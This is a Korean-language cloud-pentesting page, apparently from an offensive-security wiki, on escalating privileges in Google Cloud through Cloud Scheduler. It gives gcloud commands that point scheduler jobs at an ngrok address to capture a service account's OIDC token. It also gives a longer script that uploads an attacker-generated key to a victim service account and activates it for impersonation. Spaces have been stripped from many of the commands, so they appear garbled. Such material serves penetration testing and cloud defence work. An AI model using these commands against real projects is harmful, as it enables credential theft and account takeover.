이 권한을 가진 공격자는 Cloud Scheduler를 이용해 특정 서비스 계정으로 크론 작업을 인증할 수 있습니다. HTTP POST 요청을 조작하여 공격자는 서비스 계정의 신원으로 실행될 작업, 예를 들어 스토리지 버킷 생성 등을 예약할 수 있습니다. 이 방법은 스케줄러가 *.googleapis.com 엔드포인트를 타겟팅하고 요청을 인증할 수 있는 능력을 활용하여 공격자가 간단한 gcloud 명령어를 사용해 Google API 엔드포인트를 직접 조작할 수 있게 합니다.
권한을 상승시키기 위해, 공격자는 지정된 서비스 계정을 가장하여 원하는 API를 대상으로 하는 HTTP 요청을 작성하기만 하면 됩니다.
OIDC 서비스 계정 토큰 유출
gcloudschedulerjobscreatehttptest--schedule='* * * * *'--uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app'--oidc-service-account-email111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']# Listen in the ngrok address to get the OIDC token in clear text.
이전 시나리오와 마찬가지로 이미 생성된 스케줄러를 업데이트하여 토큰을 훔치거나 작업을 수행할 수 있습니다. 예를 들어:
gcloudschedulerjobsupdatehttptest--schedule='* * * * *'--uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app'--oidc-service-account-email111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']# Listen in the ngrok address to get the OIDC token in clear text.
SA에 개인 키를 업로드하고 이를 가장하는 또 다른 예:
# Generate local private keyopensslreq-x509-nodes-newkeyrsa:2048-days365 \-keyout /tmp/private_key.pem \-out /tmp/public_key.pem \-subj "/CN=unused"# Remove last new line character of the public keyfile_size=$(wc-c</tmp/public_key.pem)new_size=$((file_size-1))truncate-s $new_size /tmp/public_key.pem# Update scheduler to upload the key to a SA## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMANDgcloudschedulerjobsupdatehttpscheduler_lab_1 \--schedule='* * * * *' \--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \--message-body="{\"publicKeyData\": \"$(cat/tmp/public_key.pem|base64-w0)\"}" \--update-headers "Content-Type=application/json" \--location us-central1 \--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com# Wait 1 minsleep60# Check the logs to check it workedgcloudloggingread'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1"jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"'--limit10--project<project-id>--format=json## If any '"status": 200' it means it worked!## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400# Build the json to contact the SA## Get privatekey in json formatfile_content=$(<"/tmp/private_key.pem")private_key_json=$(jq-Rn--argstr"$file_content"'$str')## Get ID of the generated keygcloudiamservice-accountskeyslist--iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com# Create the json in a file## NOTE that you need to export your project-id in the env var PROJECT_ID## and that this script is expecting the key ID to be the first one (check the `head`)export PROJECT_ID=...cat>/tmp/lab.json<<EOF{"type": "service_account","project_id": "$PROJECT_ID","private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com |cut -d " " -f 1|grep -v KEY_ID |head -n 1)","private_key": $private_key_json,"client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com","client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com |grep oauth2ClientId |cut -d "'" -f 2)","auth_uri": "https://accounts.google.com/o/oauth2/auth","token_uri": "https://oauth2.googleapis.com/token","auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs","client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com","universe_domain": "googleapis.com"}EOF# Activate the generated keygcloudauthactivate-service-account--key-file=/tmp/lab.json